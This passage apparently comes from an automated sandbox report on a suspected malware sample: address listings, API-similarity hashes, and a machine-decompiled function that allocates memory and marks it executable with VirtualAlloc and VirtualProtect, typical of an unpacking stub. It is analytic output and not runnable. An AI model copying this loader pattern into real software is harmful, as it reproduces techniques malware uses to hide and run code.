                  0x04526a5d
                  0x04526a64
                  0x04526a67
                  0x04526a6e
                  0x04526a72
                  0x04526a75
                  0x04526a7c
                  0x04526a80
                  0x04526a83
                  0x04526a8a
                  0x04526a8d
                  0x04526a90
                  0x04526a9f
                  0x04526aa6
                  0x04526aa9
                  0x04526aac
                  0x04526aaf
                  0x04526ab0
                  0x04526ab3
                  0x04526abe
                  0x04526ac0
                  0x04526ac3
                  0x04526ac5
                  0x04526acc
                  0x04526acf
                  0x04526ad2
                  0x04526ad9
                  0x04526adc
                  0x04526adf
                  0x04526ae5
                  0x04526aec
                  0x04526af2
                  0x04526af2
                  0x04526af5
                  0x04526af8
                  0x04526afc
                  0x04526aff
                  0x04526b02
                  0x04526b09
                  0x04526b0c
                  0x04526b0f
                  0x04526b17
                  0x04526b1e
                  0x04526b24
                  0x04526b25
                  0x04526b2c
                  0x04526b2f
                  0x04526b35
                  0x04526b3f
                  0x04526b42
                  0x04526b49
                  0x04526b4c
                  0x04526b4f
                  0x04526b55
                  0x04526b5c
                  0x04526b62
                  0x04526b65
                  0x04526b6b
                  0x04526b71
                  0x04526b7b
                  0x04526b7e
                  0x04526b85
                  0x04526b88
                  0x04526b8b
                  0x04526b91
                  0x04526b99
                  0x04526ba0
                  0x04526ba6
                  0x04526ba6
                  0x04526baf
                  0x04526bbb
                  0x04526bc5
                  0x04526bcf
                  0x04526bd2
                  0x04526bd5
                  0x04526bdb
                  0x04526be2
                  0x04526be8
                  0x04526bf4
                  0x04526bf6
                  0x04526bfd
                  0x04526c07
                  0x04526c10
                  0x04526c17
                  0x04526c20
                  0x04526c21
                  0x04526c24
                  0x04526c27
                  0x04526c2d
                  0x04526c30
                  0x04526c3a
                  0x04526c3d
                  0x04526c40
                  0x04526c46
                  0x04526c4d
                  0x04526c59
                  0x04526c5c
                  0x04526c6b
                  0x04526c72
                  0x04526c75
                  0x04526c78
                  0x04526c7b
                  0x04526c7c
                  0x04526c7d
                  0x04526c88
                  0x04526c8a
                  0x04526c8f
                  0x04526c98
                  0x04526c9b
                  0x04526ca5
                  0x04526ca9
                  0x04526cac
                  0x04526cac
                  0x04526cb4
                  0x04526cbb
                  0x04526cc2
                  0x04526ccc
                  0x04526cd5
                  0x04526cdc
                  0x04526cdf
                  0x04526ce8
                  0x04526cf1
                  0x04526cf8
                  0x04526cfb
                  0x04526d06
                  0x04526d09
                  0x04526d10
                  0x04526d11
                  0x04526d14
                  0x04526d15
                  0x04526d1b
                  0x04526d1e
                  0x04526d21
                  0x04526d24
                  0x04526d2d
                  0x04526d30
                  0x04526d39
                  0x04526d40
                  0x04526d43
                  0x04526d43
                  0x04526d49
                  0x04526d51
                  0x04526d58
                  0x04526d63
                  0x04526d6b
                  0x04526d6d
                  0x04526d6f
                  0x04526d73
                  0x04526d7c
                  0x04526d86
                  0x04526d90
                  0x04526d93
                  0x04526d96
                  0x04526d9c
                  0x04526da4
                  0x04526dab
                  0x04526db1
                  0x04526dba
                  0x04526dc4
                  0x04526dc5
                  0x04526dc8
                  0x04526dcb
                  0x04526dce
                  0x04526dcf
                  0x04526dd0
                  0x04526dda
                  0x04526de4
                  0x04526de8
                  0x04526df1
                  0x04526dfb
                  0x04526dfe
                  0x04526e06
                  0x04526e0d
                  0x04526e13
                  0x04526e16
                  0x04526e19
                  0x04526e1c
                  0x04526e20
                  0x04526e24
                  0x04526e2e
                  0x04526e31
                  0x04526e34
                  0x04526e3b
                  0x04526e3e
                  0x04526e48
                  0x04526e4b
                  0x04526e4e
                  0x04526e5a
                  0x04526e62
                  0x04526e66
                  0x04526e6b
                  0x04526e6c
                  0x04526e72
                  0x04526e75
                  0x04526e78
                  0x04526e7b
                  0x04526e7d
                  0x04526e84
                  0x04526e87
                  0x04526e8a
                  0x04526e91
                  0x04526e94
                  0x04526e97
                  0x04526e9d
                  0x04526ea4
                  0x04526eaa
                  0x04526eaa
                  0x04526eb9
                  0x04526ec8
                  0x04526ec9
                  0x04526ec9
                  0x04526ec9
                  0x04526ed4
                  0x04526ed7
                  0x04526ee0
                  0x04526ee2
                  0x04526ee3
                  0x04526ee3
                  0x04526ee3
                  0x04526eec
                  0x04526eef
                  0x04526ef2
                  0x04526f07
                  0x04526f0a
                  0x04526f0d
                  0x04526f10
                  0x04526f11
                  0x04526f14
                  0x04526f1b
                  0x04526f21
                  0x04526f22
                  0x04526f31
                  0x04526f33
                  0x04526f39
                  0x04526f3c
                  0x04526f40
                  0x04526f43
                  0x04526f4b
                  0x04526f4e
                  0x04526f4e
                  0x04526f61
                  0x04526f68

                  APIs
                  Memory Dump Source
                  • Source File: 00000004.00000002.699932467.0000000004520000.00000040.00000001.sdmp, Offset: 04520000, based on PE: true
                  Similarity
                  • API ID: ProtectVirtual
                  • String ID:
                  • API String ID: 544645111-0
                  • Opcode ID: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
                  • Instruction ID: 94c9654926f35f8f61068253799b78fda5e30de1020450fd7a45336853314643
                  • Opcode Fuzzy Hash: 8a008023e028c667d7368bc90691588549f831ea45597d08e0b089263ec99f3d
                  • Instruction Fuzzy Hash: 2FC22572844608EFEB049FA0C8C57EEBBF5FF48320F0589AED899AA145D7345264CF59
                  Uniqueness

                  Uniqueness Score: -1.00%

                  C-Code - Quality: 68%
                  			E0452709D(signed int __ebx, long __ecx, void* __edx, void* __edi, long __esi, void* __eflags) {
                  				void* _t47;
                  				signed int _t48;
                  				signed int _t49;
                  				void* _t51;
                  				void* _t52;
                  				void* _t54;
                  				void* _t55;
                  				signed int _t59;
                  				long _t60;
                  				void* _t62;
                  				void* _t65;
                  				void* _t67;
                  				signed int _t68;
                  				void* _t72;
                  				signed int _t75;
                  				signed int _t78;
                  				void* _t81;
                  				signed int _t82;
                  				long _t87;
                  				signed int _t89;
                  				long _t94;
                  				void* _t97;
                  				void* _t99;
                  				long _t101;
                  				void* _t102;
                  
                  				_t87 = __esi;
                  				_t79 = __edi;
                  				_t72 = __edx;
                  				_t59 = __ebx;
                  				 *_t101 = 0xffff0000;
                  				_t48 = E04522D42(_t47, __ebx, __ecx, __edx, __edi, __esi, __edi);
                  				 *_t101 =  *_t101 | _t59;
                  				_t60 = _t59;
                  				if( *_t101 != 0) {
                  					 *_t101 =  *_t101 + 4;
                  					 *_t101 =  *_t101 - _t94;
                  					 *_t101 =  *_t101 + 0x1000;
                  					 *_t101 =  *_t101 - _t60;
                  					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c22f));
                  					_t48 = VirtualAlloc(0, __ecx, _t60, _t94);
                  				}
                  				 *(_t94 - 8) = 0;
                  				_push( *(_t94 - 8));
                  				 *_t101 =  *_t101 ^ _t48;
                  				_pop( *_t6);
                  				 *(_t60 + 0x41c60a) = 2;
                  				 *_t101 = _t94;
                  				 *(_t60 + 0x41d10e) = _t48;
                  				_t97 = 0;
                  				if( *(_t60 + 0x41c166) > 0) {
                  					_t55 = _t60 + 0x41c60a;
                  					 *(_t97 - 4) =  *(_t97 - 4) & 0x00000000;
                  					 *_t101 = _t55 +  *_t101;
                  					 *_t101 = 0x40;
                  					_t87 =  *_t101;
                  					 *_t101 =  *((intOrPtr*)(_t60 + 0x41c627));
                  					 *_t101 =  *(_t60 + 0x41c166);
                  					VirtualProtect(_t55, _t87, _t101,  *(_t97 - 4));
                  				}
                  				_push(_t72);
                  				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
                  				_t89 = _t87;
                  				_push(_t72);
                  				 *((intOrPtr*)(_t101 + 4)) =  *((intOrPtr*)(_t60 + 0x41ceca));
                  				_t99 = _t97;
                  				_t49 = E0452746C(_t60, _t72, _t79, _t89);
                  				_push( *((intOrPtr*)(_t60 + 0x41c627)));
                  				_pop( *_t24);
                  				_push( *(_t99 - 8));
                  				_pop(_t62);
                  				 *_t101 = _t62;
                  				_t65 = 0;
                  				_t67 = 0 ^  *(_t60 + 0x41c166) | 0 ^  *(_t60 + 0x41c166);
                  				_t81 = _t67;
                  				_t68 = _t65;
                  				if(_t67 != 0) {
                  					 *(_t99 - 8) = 0;
                  					 *_t101 =  *_t101 ^ _t81;
                  					_t49 = E04522A69(_t49, _t60, _t68, _t72, _t81, _t89,  *(_t99 - 8));
                  				}
                  				_t75 = _t72;
                  				_t51 = memset(_t81, _t49 ^ _t49, _t68 << 0);
                  				_t102 = _t101 + 0xc;
                  				_t82 = _t81 + _t68;
                  				if( *((intOrPtr*)(_t60 + 0x41c3f9)) != _t60) {
                  					_push(0);
                  					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
                  					_t82 = _t82; // executed
                  					_t52 = E04525F16(_t51, _t60, 0, _t75, _t89); // executed
                  					_push(_t52);
                  					 *((intOrPtr*)(_t102 + 4)) =  *((intOrPtr*)(_t60 + 0x41c3f9));
                  					_t54 = _t52;
                  					_t51 = E04528F3B(_t54, _t60, 0, _t75, _t82, _t89);
                  				}
                  				 *(_t99 - 4) = _t82;
                  				 *(_t102 + 0x14) = _t75 & 0x00000000 | _t82 ^  *(_t99 - 4) |  *(_t60 + 0x41d140);
                  				 *_t41 =  *(_t60 + 0x41d140);
                  				_t78 =  *(_t99 - 8);
                  				_push(_t89);
                  				 *(_t99 + 4) =  *(_t99 + 4) & 0x00000000;
                  				 *(_t99 + 4) =  *(_t99 + 4) ^ _t89 & 0x00000000 ^ _t78;
                  				asm("popad");
                  				return _t51;
                  			}




























                  0x0452709d
                  0x0452709d
                  0x0452709d
                  0x0452709d
                  0x0452709e
                  0x045270a5
                  0x045270ab
                  0x045270ae
                  0x045270af
                  0x045270b2
                  0x045270b6
                  0x045270ba
                  0x045270c1
                  0x045270cb
                  0x045270d0
                  0x045270d0
                  0x045270d6
                  0x045270dd
                  0x045270e0
                  0x045270e3
                  0x045270e9
                  0x045270f5
                  0x045270fc
                  0x04527102
                  0x0452710a
                  0x0452710c
                  0x04527112
                  0x04527119
                  0x0452711d
                  0x0452712b
                  0x0452712b
                  0x04527135
                  0x04527138
                  0x04527138
                  0x0452713e
                  0x04527146
                  0x0452714a
                  0x0452714b
                  0x04527153
                  0x04527157
                  0x04527158
                  0x0452715d
                  0x04527163
                  0x04527166
                  0x04527169
                  0x0452716c
                  0x04527179
                  0x0452717d
                  0x0452717f
                  0x04527181
                  0x04527182
                  0x04527184
                  0x0452718e
                  0x04527191
                  0x04527191
                  0x0452719d
                  0x0452719e
                  0x0452719e
                  0x0452719e
                  0x045271a6
                  0x045271a8
                  0x045271b0
                  0x045271b4
                  0x045271b5
                  0x045271ba
                  0x045271c2
                  0x045271c6
                  0x045271c7
                  0x045271c7
                  0x045271cc
                  0x045271e0
                  0x045271ea
                  0x045271f0
                  0x045271f1
                  0x045271f7
                  0x045271fb
                  0x045271ff
                  0x04527201

                  APIs
                  • VirtualAlloc.KERNELBASE(00000000), ref: 045270D0
                  • VirtualProtect.KERNELBASE(?,?,?,?,00000000), ref: 04527138
                  Memory Dump Source
                  • Source File: 00000004.00000002.699932467.0000000004520000.00000040.00000001.sdmp, Offset: 04520000, based on PE: true
                  Similarity
                  • API ID: Virtual$AllocProtect
                  • String ID:
                  • API String ID: 2447062925-0
                  • Opcode ID: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
                  • Instruction ID: 17659231f20f40236ac979f6f208ad182499e47e8b00a80daee4386b0483c91d
                  • Opcode Fuzzy Hash: 18536275ed15e287df20e35805b6b78dcc94a8a38b1e94fc381fd54ff5dd0b3d
                  • Instruction Fuzzy Hash: 1B417172904214EFEB04DF54C985BAEBBF5FF88310F05849EEC88AB245C7702950DB69
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Non-executed Functions